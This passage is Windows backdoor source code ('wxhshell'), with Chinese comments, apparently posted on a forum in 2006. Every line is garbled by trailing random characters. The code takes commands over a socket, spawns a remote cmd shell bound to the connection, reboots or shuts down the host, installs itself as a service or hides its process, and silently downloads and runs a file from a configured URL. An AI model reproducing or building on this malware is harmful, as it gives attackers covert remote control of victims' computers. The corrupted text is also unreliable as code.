  // 帮助 c"~TH.,d  
  case '?': { %vksN$^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g41LpplX  
    break; >3bpa<M_  
  } ~EN@$N^h  
  // 安装 [B4?Z-K%  
  case 'i': { 0nS6<:  
    if(Install()) B}(YD;7vJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @MM|.# ~T  
    else WO{N@f^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wFvilF V  
    break; SbZk{lWcq  
    } *<hpq)  
  // 卸载  v/.2Z(sZ  
  case 'r': { NOx| #  
    if(Uninstall()) kC+A7k6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #0R;^#F/  
    else =4[zt^WX"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yZ 9 *oDs  
    break; L?P8/]DGp  
    } a'\`Mi@rb  
  // 显示 wxhshell 所在路径 rQWft r^  
  case 'p': { gk&?h7P"<  
    char svExeFile[MAX_PATH]; <7p2OPD  
    strcpy(svExeFile,"\n\r"); E,rPM  
      strcat(svExeFile,ExeFile); Ip4~qGJ  
        send(wsh,svExeFile,strlen(svExeFile),0); {R#nGsrt;  
    break; O<Kr6+ -  
    } ;?&;I!  
  // 重启 L}9 @kjW  
  case 'b': { A T%0i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "mOoGy, (  
    if(Boot(REBOOT)) v!x[1[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V_~wWuZ-  
    else { l}wBthwCc  
    closesocket(wsh); @@5u{K  
    ExitThread(0); ?>&8,p17  
    } s:_5p`w>  
    break; &M2x`  
    } /Iskjcc60W  
  // 关机 7HF\)cz2  
  case 'd': { 6?74l;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b,'./{c0  
    if(Boot(SHUTDOWN)) 6R<%. -qr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H5 -I}z  
    else { 48DsRy  
    closesocket(wsh); N@VD-}E  
    ExitThread(0); ug{F?LW[  
    } ge` J>2  
    break; Bm?Ku7}.  
    } m/ukH{H1%  
  // 获取shell 936t6K&  
  case 's': { 5 9 09O  
    CmdShell(wsh); eDm,8Se  
    closesocket(wsh); qN)cB?+  
    ExitThread(0); LgaJp_d>9*  
    break; N>z8\y  
  } NubD2  
  // 退出 Mqpo S  
  case 'x': { <@yyx7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }[Y):Yy  
    CloseIt(wsh); MhsG9q_%  
    break; _#+9)*A  
    } md_Ld /  
  // 离开 F7hQNQu:  
  case 'q': { ]uZH  0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); upJishy&I  
    closesocket(wsh); A~6 Cs  
    WSACleanup(); spI{d!c  
    exit(1); 9W8Dp?:  
    break; ?-VN+ d7  
        } k"U4E J{  
  } gV7o eZ5  
  } RS1oPY  
,|H!b%ZW  
  // 提示信息 M}vPWWcl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '=2t(@aC  
} i6-K!  
  } ks;%f34  
NanU%# &  
  return; h;lnc| Hw  
} k9,"`dk@  
f6#H@ X  
// shell模块句柄 -7`J(f.rYC  
int CmdShell(SOCKET sock) V]AL'}( 0  
{ MnQ_]c C  
STARTUPINFO si; IIPf5 Z}A  
ZeroMemory(&si,sizeof(si)); E% 'DIs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Q$);:=q Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [q@%)F  
PROCESS_INFORMATION ProcessInfo; G pd:k  
char cmdline[]="cmd"; |RmBa'.)z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zM'-2,  
  return 0; t|q=NK/  
} H~@h #6  
l\5 NuCgRY  
// 自身启动模式 !9 F+uc5  
int StartFromService(void) r:IU +3  
{ t0q@] 0B5  
typedef struct cwroG#jGT  
{ 6i4j(P  
  DWORD ExitStatus; :o:??tqw  
  DWORD PebBaseAddress; $Yka\tS'  
  DWORD AffinityMask; J]UH q$B  
  DWORD BasePriority; ?,NAihN]  
  ULONG UniqueProcessId; kr?| >6?  
  ULONG InheritedFromUniqueProcessId; Nm~#$orI|  
}   PROCESS_BASIC_INFORMATION; L:<'TXsRA  
c>g%oE  
PROCNTQSIP NtQueryInformationProcess; Z Kvh]  
q mB@kbt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H,}?YW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F)@<ZE  
E;sltl  
  HANDLE             hProcess; `+uXL9mo  
  PROCESS_BASIC_INFORMATION pbi; [h1{{Nb#ez  
#q- _  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !=we7vK}  
  if(NULL == hInst ) return 0; b$`O|S  
-%.V0=G(Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pr"flRQr#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1<83MO;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _X[c19q  
*pMA V [^  
  if (!NtQueryInformationProcess) return 0; =N c`hP  
"DpQnhvbB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [xPE?OD  
  if(!hProcess) return 0; S&*pR3,u  
g6V*wjC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?KN_J  
Ce:ds%  
  CloseHandle(hProcess); H4,yuV  
\K6J{;#L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S\A[Z&k 0  
if(hProcess==NULL) return 0; 0"`skYJ@  
O^#u%/  
HMODULE hMod; UL%ihWq   
char procName[255]; 6,PL zZ5  
unsigned long cbNeeded; i`qh|w/b_  
N,|oV|i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gISs+g  
ZTZE_[  
  CloseHandle(hProcess); 0h#M)Ft  
>y[S?M  
if(strstr(procName,"services")) return 1; // 以服务启动 GN0'-z6Uy  
:X f3wP=  
  return 0; // 注册表启动 YC'~8\x3z  
} mxGN[ %ve  
JyO lVs<T  
// 主模块 7W"menw  
int StartWxhshell(LPSTR lpCmdLine) bSLj-vp  
{ H[ q{R  
  SOCKET wsl; K }BX6dA  
BOOL val=TRUE; ([~`{,sv  
  int port=0; V{{x~Q9  
  struct sockaddr_in door; /3]|B%W9  
pZxL?N!  
  if(wscfg.ws_autoins) Install();  ZsZ1  
\`ReZu$  
port=atoi(lpCmdLine); T#7^6Ks+1  
x(=x;X$[^  
if(port<=0) port=wscfg.ws_port; 5b p"dIe  
0 ,-b %X  
  WSADATA data; ]6 wi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aehMLl9cl  
_ GSw\r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #cS,5(BM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !$Z"\v'b  
  door.sin_family = AF_INET; 9DX3]Z\7X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |U $-d^ZJ  
  door.sin_port = htons(port); [[Z>(d$8  
46Nf|~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1#"Q' ,7  
closesocket(wsl); ~py0Vx,F  
return 1; ?` i/  
} J-F_XKqH  
;0}2@Q2@ZK  
  if(listen(wsl,2) == INVALID_SOCKET) { gH3kX<e  
closesocket(wsl); Bw.&3efd  
return 1; 0(x@ NGb>{  
} 2]=I'U<E!  
  Wxhshell(wsl); C&kl*nO  
  WSACleanup(); P qLqF5`S  
:g[x;Q [@  
return 0; (L%q/$  
0!`7kZrN  
} 9'g{<(R]  
_9|@nUD  
// 以NT服务方式启动 bK9~C" k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F*VMS  
{ ZGhoV#T@  
DWORD   status = 0; P1stL,  
  DWORD   specificError = 0xfffffff; / LM  
9PK-r;2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 389.&`Q%Ut  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :<k|u!b}y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; % T\N@  
  serviceStatus.dwWin32ExitCode     = 0; &>.1%x@R  
  serviceStatus.dwServiceSpecificExitCode = 0; PRC)GP&q  
  serviceStatus.dwCheckPoint       = 0; gecT*^  
  serviceStatus.dwWaitHint       = 0; ok%!o+nk.  
Q0Qm0B5eY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9Pk3}f)a  
  if (hServiceStatusHandle==0) return; 5dw@g4N %^  
OG7v'vmY  
status = GetLastError(); `yX+NRi(s  
  if (status!=NO_ERROR) E(kpK5h{  
{ '. Hp*9R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hRIS [#z;U  
    serviceStatus.dwCheckPoint       = 0; OKP_3Ns  
    serviceStatus.dwWaitHint       = 0; \Rqh|T<D  
    serviceStatus.dwWin32ExitCode     = status; |#:dC #  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1[g!^5W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); umZ g}|C_  
    return; h?3l  
  } I@Z*Nu1L  
Bye@5D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tv,.  
  serviceStatus.dwCheckPoint       = 0; H9Q7({v  
  serviceStatus.dwWaitHint       = 0; iv z?-X4]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 124L3AG  
} iz>y u[|  
y{Y+2}Dv/  
// 处理NT服务事件,比如:启动、停止 RG r'<o)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *a,.E6C*  
{ I= h4s(  
switch(fdwControl) #IhLpO  
{ m2q;^o:J  
case SERVICE_CONTROL_STOP: *r,&@UB  
  serviceStatus.dwWin32ExitCode = 0; *R\/#Y|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _7.GzQJ  
  serviceStatus.dwCheckPoint   = 0; \.;ct  
  serviceStatus.dwWaitHint     = 0; Q=L$7   
  { ^Z4q1i)JO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (<R\  
  } W;oU +z^t$  
  return; 7M#$: Fdb  
case SERVICE_CONTROL_PAUSE: -C-OG}XjI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1;kG[z=A  
  break; K1/gJ9+(\  
case SERVICE_CONTROL_CONTINUE: g;#KBxE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gLSG:7m@  
  break; Z++Z@J"  
case SERVICE_CONTROL_INTERROGATE: }d3N`TT  
  break; 4 ^~zN"6]  
}; 7|M$W(P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .1}rzh}8  
} !E {GcK  
*JY`.t  
// 标准应用程序主函数 gUH'DS]{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SXo[[ao  
{ W^d4/]  
B#k3"vk#  
// 获取操作系统版本 Dj ]Hgg  
OsIsNt=GetOsVer(); a j@C0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;;w6b:}-c  
E/8u'  
  // 从命令行安装 ^0x.'G?  
  if(strpbrk(lpCmdLine,"iI")) Install(); "gbnLKs  
(O_t5<A*X  
  // 下载执行文件 n:*_uc^C  
if(wscfg.ws_downexe) { ?dKa;0\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BsK|:MM]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Up'~BP(  
} tf7v5iGe  
2c"N-c&A  
if(!OsIsNt) { )`s;~_ZZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 gN, k/U8  
HideProc(); PJK]t7vp  
StartWxhshell(lpCmdLine); +\k9w.[:/  
} 3Zaq#uA  
else /nY).lSH  
  if(StartFromService()) i{|lsd(+  
  // 以服务方式启动 B3cf] S%  
  StartServiceCtrlDispatcher(DispatchTable); uhTKCR~  
else yxG:\y b  
  // 普通方式启动 65waq~#  
  StartWxhshell(lpCmdLine); _z<Y#mik  
T\2) $  
return 0; ;zZ,3pl-E  
}
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只看该作者 1 发表于: 2006-10-10
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